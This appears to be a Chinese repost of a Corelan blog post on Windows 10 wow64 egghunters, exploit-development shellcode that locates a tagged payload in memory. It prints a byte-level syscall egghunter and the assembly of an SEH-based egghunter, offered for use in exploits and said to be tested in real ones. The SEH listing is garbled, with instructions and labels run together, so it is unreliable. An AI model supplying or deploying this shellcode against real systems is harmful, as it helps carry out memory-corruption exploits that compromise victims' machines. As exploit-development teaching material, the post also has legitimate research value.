Windows 10 egghunter (wow64) and more
引言
我必须承认,我一直对egghunter技术很着迷。这并不意味着我喜欢滥用egghunter,事实上我认为应该尽量避免使用它,因为它会拖慢执行速度。真正让我着迷的是那些能在不使进程崩溃的情况下搜索内存的技术。
Corelan团队回来了!这是我近三年来的第一篇技术文章。最近我离开了日常工作,创立了"Corelan Consulting"公司,专注于漏洞利用开发和网络安全咨询。在更新Windows 10培训材料时,我发现Lincoln编写的Windows 7 wow64 egghunter在Windows 10上不再有效,因为微软在每个主要Windows版本中都会更改系统调用号。
Wow64环境下的Windows 10 Egghunter
我们找到了一些Windows 10 egghunter的PoC,但发现它们在真实漏洞利用中不可靠。Lincoln经过调试后,终于制作出了可在Windows 10上工作的版本:
"\x33\xD2" # XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F" # OR DX,0FFF
"\x33\xDB" # XOR EBX,EBX
"\x42" # INC EDX
"\x52" # PUSH EDX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x6A\x29" # PUSH 29 (system call 0x29)
"\x58" # POP EAX
"\xB3\xC0" # MOV BL,0C0
"\x64\xFF\x13" # CALL DWORD PTR FS:[EBX]
"\x83\xC4\x10" # ADD ESP,0x10
"\x5A" # POP EDX
"\x3C\x05" # CMP AL,5
"\x74\xE3" # JE SHORT
"\xB8\x77\x30\x30\x74" # MOV EAX,74303077
"\x8B\xFA" # MOV EDI,EDX
"\xAF" # SCAS DWORD PTR ES:[EDI]
"\x75\xDE" # JNZ SHORT
"\xAF" # SCAS DWORD PTR ES:[EDI]
"\x75\xDB" # JNZ SHORT
"\xFF\xE7" # JMP EDI
这个egghunter假设运行在wow64环境(64位OS上的32位进程)下。你也可以添加架构检查使其在原生32位OS上工作。
基于异常处理的Egghunter
我思考是否可以不使用系统调用来实现egghunter。基于skape在2004年提出的原始想法,我开发了使用自定义异常处理程序的版本:
; Universal SEH based egg hunter (x86 and wow64)
[BITS 32]
CALL $+4
RET
POP ECX
ADD ECX,0x1d;set up SEH record
XOR EBX,EBX
PUSH ECX
PUSH ECX
PUSH 0x90c3585c
PUSH 0x44444444 ; Replace with P/P/R address
PUSH 0x04EB5858
MOV DWORD [FS:EBX],ESPJMP nextpagehandle:SUB ESP,0x14XOR EBX,EBXMOV DWORD [FS:EBX],ESPMOV EDX, [ESP+24]INC EDXnextpage:OR DX, 0x0FFFINC EDXMOV [ESP+24], EDXMOV EAX, 0x74303077MOV EDI, EDXSCASDJNZ nextpage+5SCASDJNZ nextpage+5JMP EDI
这个egghunter通过创建自定义SEH记录来处理访问违规异常。当尝试读取不可访问的页面时,异常处理程序会让egghunter继续执行。
使用说明
要使用这些egghunter,你需要:
- 对于系统调用版本:直接使用提供的shellcode
- 对于SEH版本:将\x44\x44\x44\x44替换为pop/pop/ret地址
调试时,建议配置调试器忽略访问违规异常(0xC0000005和0x80000001)。
总结
本文介绍了两种在Windows 10 wow64环境下工作的egghunter技术。系统调用版本更简洁,但SEH版本可能具有更好的兼容性。这两种技术都已在实际漏洞利用中测试通过。
如果你对这些技术有任何改进建议,欢迎通过Corelan的Slack工作区联系作者。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码